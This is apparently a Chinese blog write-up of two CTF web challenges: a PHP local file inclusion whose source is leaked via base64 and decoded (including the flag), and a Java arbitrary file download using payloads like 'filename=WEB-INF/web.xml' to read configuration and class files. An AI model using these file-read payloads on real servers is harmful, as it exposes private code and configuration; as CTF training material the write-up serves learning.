文件下载，包含

bboywxy8340

已于 2023-11-12 20:59:07 修改

阅读量127

点赞数

文章标签： php 开发语言

于 2022-12-12 20:12:40 首次发布

本文链接：https://blog.csdn.net/qq_41672971/article/details/128292343

版权

CTF-南邮大学，i春秋百度杯真题-白盒

1.南邮CTF

http://4.chinalover.sinaapp.com/web7/index.php

点击

尝试访问一下show.php

可以断定文件包含

因为你单独访问的话他显示test123，确定肯定有文件

然后你访问其他路径，发现又显示了这个，说明肯定是把这个文件包含进去了

使用协议直接读取源代码

首先先确定操作系统

区分大小写，判断为linux

伪协议流在之前文章中提过

注意文件包含的伪协议利用姿势

是把被包含的文件用源代码的方式读取出来，也就是说要看什么代码就包含什么代码

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

解密

<html>
    <title>asdf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

bingo

首先记得一定先搞清楚数据是通过何种方式上传（否则有时候提交数据并不好使）

post方式提交数据

进入下一个页面

可以知道是JAVA

有一个标志filename=help.docx

可以看出来有可能文件下载

直接请求一下

下载了文件

所以可以确定文件下载

然后使用post方式进行提交

成功下载

把参数换成配置文件路径，了解文件夹的目录结构

filename=WEB-INF/web.xml

查看配置文件

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

可以判断处路径

构造payload

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

出现class

解密

bboywxy8340

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
文件下载，包含

11111111111
复制链接

扫一扫